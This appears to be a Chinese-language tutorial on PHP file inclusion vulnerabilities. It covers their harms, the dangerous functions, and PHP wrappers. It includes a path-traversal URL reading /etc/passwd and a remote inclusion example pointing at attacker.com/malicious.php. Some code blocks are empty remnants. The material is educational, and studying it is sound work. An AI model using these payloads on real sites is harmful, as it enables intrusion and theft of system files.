文件包含漏洞的定义
文件包含漏洞(File Inclusion Vulnerability)是一种常见的安全漏洞,存在于许多Web应用程序中。它通常发生在应用程序未正确过滤用户提供的输入数据时。文件包含漏洞允许攻击者通过将恶意文件或远程资源包含到应用程序中的文件中,来执行未授权的操作。
文件包含漏洞主要存在于动态网页应用程序中,特别是基于服务器端脚本语言(如PHP)的应用程序。它通常出现在开发人员使用用户提供的输入来构造文件路径、文件名或文件内容时。
攻击者利用文件包含漏洞的常见方式之一是通过构造恶意URL,将恶意文件路径作为参数传递给应用程序。如果应用程序未正确验证和过滤该参数,攻击者可以通过指定恶意文件路径来包含任意文件,包括系统文件、应用程序文件或其他用户文件。这可能导致严重的安全问题,如远程代码执行、敏感信息泄露、服务器控制权被获取等。
文件包含漏洞还可以利用远程文件包含(Remote File Inclusion)的方式。攻击者可以通过指定远程服务器上的恶意脚本或文件路径来利用漏洞。应用程序在处理远程文件包含时,未对其进行适当的验证和过滤,导致攻击者能够在目标服务器上执行任意代码。
文件包含的危害
- 远程代码执行:攻击者可以通过文件包含漏洞注入恶意代码并执行,这可能导致服务器上的任意代码执行。攻击者可以执行恶意操作,如修改、删除、上传文件,控制服务器,访问敏感数据,甚至获取系统权限。
- 敏感信息泄露:通过文件包含漏洞,攻击者可以访问包含在应用程序中的敏感信息,例如数据库凭据、API密钥、密码文件等。这些信息可能被用于进一步的攻击或滥用。
- 服务器崩溃:攻击者可以通过构造恶意文件路径或远程资源来导致服务器过载或崩溃。这可能会导致服务不可用,影响业务连续性。
- 拒绝服务(DoS)攻击:攻击者可以通过频繁请求恶意文件来耗尽服务器资源,从而导致拒绝服务攻击。这会使合法用户无法正常访问应用程序。
- 操作系统命令执行:如果应用程序在文件包含过程中使用了用户提供的输入来构造操作系统命令,攻击者可以通过构造恶意输入来执行任意命令,从而控制服务器。
- 依赖文件篡改:攻击者可以篡改被包含的文件,例如修改配置文件、库文件或其他关键文件,以达到他们的目的。
文件包含漏洞常见函数
- 代码:
1 |
|
- 函数:
-
include() 和 require():
这些函数用于将指定文件包含到当前脚本中。如果文件路径是基于用户提供的输入构造的,并且没有进行适当的验证和过滤,就可能存在文件包含漏洞。
-
include_once() 和 require_once():
类似于 include() 和 require(),但是它们确保同一个文件只被包含一次。文件包含漏洞可能仍然存在,如果恶意文件被成功包含,它将被执行一次。
-
eval():
这个函数用于执行包含在字符串中的 PHP 代码。如果字符串是基于用户输入构造的,并且没有进行适当的验证和过滤,可能导致远程代码执行漏洞。
-
file_get_contents():
这个函数用于读取文件的内容,并将其作为字符串返回。如果文件路径是基于用户提供的输入构造的,并且没有进行适当的验证和过滤,可能存在文件包含漏洞。
-
readfile():
类似于 file_get_contents(),它用于将文件内容直接输出到浏览器。如果文件路径是基于用户提供的输入构造的,并且没有进行适当的验证和过滤,可能存在文件包含漏洞。
-
get_template_part():
这个函数常用于WordPress主题开发,用于包含模板文件。如果模板文件的路径是基于用户提供的输入构造的,并且没有进行适当的验证和过滤,可能存在文件包含漏洞。
模糊POC
文件包含漏洞的模糊POC(Proof of Concept)是一种用于测试应用程序是否存在文件包含漏洞的简单示例。它通常通过构造包含文件路径或资源的参数来尝试触发漏洞。以下是一个常见的文件包含漏洞的模糊POC示例:
1 | http://example.com/page.php?file=../../../../etc/passwd |
上述示例中的URL参数file
用于指定要包含的文件路径。通过使用相对路径和父目录(../
)来构造路径,攻击者试图访问/etc/passwd
文件。如果应用程序未对输入进行适当的验证和过滤,可能会成功包含敏感文件,并将其内容返回给攻击者。
其他例子:
1 | #Linux |
伪协议:
在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
- file://:该伪协议用于指定本地文件系统中的文件路径。攻击者可以使用相对路径或绝对路径来指定要包含的文件,例如使用
file:///etc/passwd
来访问/etc/passwd
文件。 - http:// 和 https://:这些伪协议用于指定远程文件或资源的URL。攻击者可以通过指定远程恶意脚本或文件路径来进行远程文件包含攻击,例如使用
http://attacker.com/malicious.php
来包含攻击者控制的远程文件。 - data://:该伪协议用于将数据直接嵌入到URL中。攻击者可以将恶意代码或文件内容嵌入到URL中,然后通过文件包含漏洞将其包含到应用程序中。
- php:// 和 php://input:这些伪协议用于在PHP中进行特殊的文件操作。攻击者可以使用
php://filter
伪协议来执行各种操作,如读取文件内容、执行命令等。 - expect://:该伪协议用于执行命令,通常在服务器上的某些环境中可用。攻击者可以通过构造恶意命令来执行操作。
- zip://:zip伪协议用于指定包含在ZIP存档文件中的文件路径。攻击者可以构造一个恶意ZIP文件,其中包含恶意文件,并使用zip伪协议将其包含到应用程序中。
- phar://:phar伪协议用于指定包含在PHAR存档文件中的文件路径。PHAR是一种自包含的PHP应用程序存档格式。攻击者可以构造一个恶意PHAR文件,其中包含恶意文件,并使用phar伪协议将其包含到应用程序中。